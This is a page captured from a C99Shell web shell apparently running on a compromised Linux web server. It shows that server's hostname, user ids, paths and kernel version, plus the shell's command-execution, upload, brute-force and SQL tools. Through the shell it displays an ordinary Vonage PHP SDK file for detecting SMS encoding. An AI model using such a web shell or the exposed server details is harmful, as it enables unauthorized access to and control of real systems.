!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/Message/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EncodingDetector.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\Message;

use function 
array_diff;
use function 
array_map;
use function 
mb_convert_encoding;
use function 
ord;
use function 
preg_split;

class 
EncodingDetector
{
    
/**
     * @see https://en.wikipedia.org/wiki/GSM_03.38#GSM_7-bit_default_alphabet_and_extension_table_of_3GPP_TS_23.038_/_GSM_03.38
     *
     * @param $content
     */
    
public function requiresUnicodeEncoding($content): bool
    
{
        
$gsmCodePoints array_map(
            
$this->convertIntoUnicode(),
            [
                
'@''£''$''¥''è''é''ù''ì''ò''ç'"\r"'Ø''ø'"\n"'Å''å',
                
'Δ''_''Φ''Γ''Λ''Ω''Π''Ψ''Σ''Θ''Ξ''Æ''æ''ß''É',
                
' ''!''"''#''¤''%''&''\'''('')''*''+'',''-''.''/',
                
'0''1''2''3''4''5''6''7''8''9'':'';''<''=''>''?',
                
'¡''A''B''C''D''E''F''G''H''I''J''K''L''M''N''O',
                
'P''Q''R''S''T''U''V''W''X''Y''Z''Ä''Ö''Ñ''Ü''§',
                
'¿''a''b''c''d''e''f''g''h''i''j''k''l''m''n''o',
                
'p''q''r''s''t''u''v''w''x''y''z''ä''ö''ñ''ü''à',
                
"\f"'^''{''}''\\''[''~'']''|''€',
            ]
        );

        
// Split $text into an array in a way that respects multibyte characters.
        
$textChars preg_split('//u'$content, -1PREG_SPLIT_NO_EMPTY);

        
// Array of codepoint values for characters in $text.
        
$textCodePoints array_map($this->convertIntoUnicode(), $textChars);

        
// Filter the array to contain only codepoints from $text that are not in the set of valid GSM codepoints.
        
$nonGsmCodePoints array_diff($textCodePoints$gsmCodePoints);

        
// The text contains unicode if the result is not empty.
        
return !empty($nonGsmCodePoints);
    }

    private function 
convertIntoUnicode(): callable
    {
        return static function (
$char) {
            
$k mb_convert_encoding($char'UTF-16LE''UTF-8');
            
$k1 ord($k[0]);
            
$k2 ord($k[1]);

            return 
$k2 256 $k1;
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--